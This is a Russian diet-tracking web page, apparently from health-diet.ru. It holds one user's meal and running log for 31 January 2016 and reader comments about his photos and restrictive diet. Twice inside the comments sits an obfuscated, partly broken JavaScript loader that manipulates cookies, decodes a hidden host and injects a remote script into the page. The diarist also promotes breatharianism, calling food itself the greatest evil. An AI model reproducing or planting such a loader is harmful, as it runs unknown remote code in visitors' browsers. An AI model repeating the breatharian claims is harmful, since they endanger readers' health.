Иван Царевич
31.01.2016 19:12

Дневник питания и тренировок за 31.01.2016

Вслед за продуктами животного происхождения в топку отправились продукты содержащие глютен. 

  

А вот фото с пробежки, собака мой друг, бежала за мной все время 
        

Завтрак

Кол-во Калории Белки Жиры Углеводы
Яблоко
200
94 0.8 0.8 19.6
Вода
3500
0 0 0 0
Морская капуста (ламинария) сушеная
5
9.5 0.4 0.1 1.1
Финики
40
116.8 1 0.2 27.7

Утренний перекус

Кол-во Калории Белки Жиры Углеводы
Пшенная крупа, пшено шлифованное
100
342 11.5 3.3 66.5

Обед

Кол-во Калории Белки Жиры Углеводы
Финики
100
292 2.5 0.5 69.2
Подсолнечник, семечки
50
300.5 10.4 26.5 5.3

Дневной перекус

Кол-во Калории Белки Жиры Углеводы
Горох, зерно цельное
100
298 20.5 2 49.5
Пшенная крупа, пшено шлифованное
50
171 5.8 1.7 33.3
Соль поваренная пищевая
2
0 0 0 0
Подсолнечное масло
10
89.9 0 10 0
Морковь
50
17.5 0.7 0.1 3.5
Капуста белокочанная
100
28 1.8 0.2 4.7

Ужин

Кол-во Калории Белки Жиры Углеводы
Капуста белокочанная
100
28 1.8 0.2 4.7
Морковь
50
17.5 0.7 0.1 3.5
Подсолнечное масло
10
89.9 0 10 0
Соль поваренная пищевая
2
0 0 0 0

Вечерний перекус

Кол-во Калории Белки Жиры Углеводы
Горох, зерно цельное
100
298 20.5 2 49.5
Пшенная крупа, пшено шлифованное
50
171 5.8 1.7 33.3
Чтобы увидеть отчеты по питанию и график веса, необходимо войти.

Первая тренировка

бег (10 км/ч)
1
Итог
Время
60
60
упражнения на растяжку
1
Итог
Время
20
20
Результаты за день
Энергозатраты: 811 ккал
Время: 80 мин
 20 
 36
Красивая природа и фото
собака тоже худеет?
Иван Царевич 31.01.2016 20:15
виктория степанова, незнаю, я с ней не разговаривал
фото какими эфектами обробатывал
Впечатляет!window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="19281",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();
Иван Царевич 31.01.2016 20:32
алексей похудейкин, HDR эффект, на компе лучшая прога Photomatix, Snapseed на Android
Иван Царевич 31.01.2016 20:33
Людмила Людмила,ваш текст тоже впечатляет
Joy Toy 31.01.2016 20:35
Светлана Ендальцева, Красивая природа
Это не природа красивая, это, похоже, фильтры для обработки снимков...
Прелистина 31.01.2016 20:36
Ух!!!
Иван Царевич, Да мой текст тут всех впечатляет! я только что не делала((window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="19281",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();
Лили 31.01.2016 22:44
Какая красота ! 
Оля Л 31.01.2016 23:28
Да, фотки прекрасные. 
Lanana 31.01.2016 23:28
Да,очень красиво! И снега нет.  Я сегодня по снежной каше ходила.
Иван Царевич 01.02.2016 07:01
Lanana, да, у нас на Кубани осень плавно переходит в весну, без зимы 
НИКА 01.02.2016 07:34
Какая красота!!!! А у нас везде снег...
Stefanie 01.02.2016 10:21
Иван Царевич написал:
продукты содержащие глютен

на них тоже денег не хватает?) 
Иван Царевич 01.02.2016 10:30
Стефания Гурбич, денег нет ни на что. Осталось у меня в коморке только горох и пшено 
Таня 01.02.2016 18:12
Какая красота!)
Иван Царевич 01.02.2016 19:21
ТаняjFhHjU.jpg"/>
Таня 02.02.2016 10:22
Иван Царевич, у Вас очень красивая природа и снято с каким-то эффектом интересным. Глядя на Ваши фото возникает ощущение безмятежности и простора) 
предположу что вы веган, а что вам сделал глютен?
Иван Царевич 02.02.2016 19:03
Таня, да, эффекты я люблю
Иван Царевич 02.02.2016 19:05
Горицвет Весенний, просто я на пути к прраноедению, скоро вообще ничего есть не буду  все постепенно убираю, начиная с самого вредного
Таня 03.02.2016 15:09
Иван Царевич, глютен - наибольшее из зол?)
Иван Царевич 03.02.2016 17:50
Таня, наибольшее зло это вообще сама пища
Виктория 03.02.2016 17:55
Иван Царевич, это у вас приложение для телефона  или фитнес-трекера?)
Иван Царевич 03.02.2016 18:05
Виктория 03.02.2016 18:09
Таня 04.02.2016 10:31
Иван Царевич, а зачем человеку пищеварительный тракт..))
Елена 04.02.2016 10:43
ужас. Судя по статье - самое лучшее упраждение - лежать на диване. Тогда точно ничего не травмируется! )))
Oksana Onoshko 04.02.2016 15:43
Красота. Спасибо за фото отчет... Всегда приятно "побывать" в разных местах.
Наталья 04.02.2016 15:49
фига се макс.скорость, от кого бежали??
Иван Царевич 04.02.2016 18:48
Наталья, от восхода Солнца 
Иван Царевич 04.02.2016 18:50
Таня, для того же зачем квоту глаза
Джим Моррисон 04.02.2016 18:59
А меня забавляет на велосипеде уезжать от дождя)
Новые рецепты
Интересные блоги
Лучшие рационы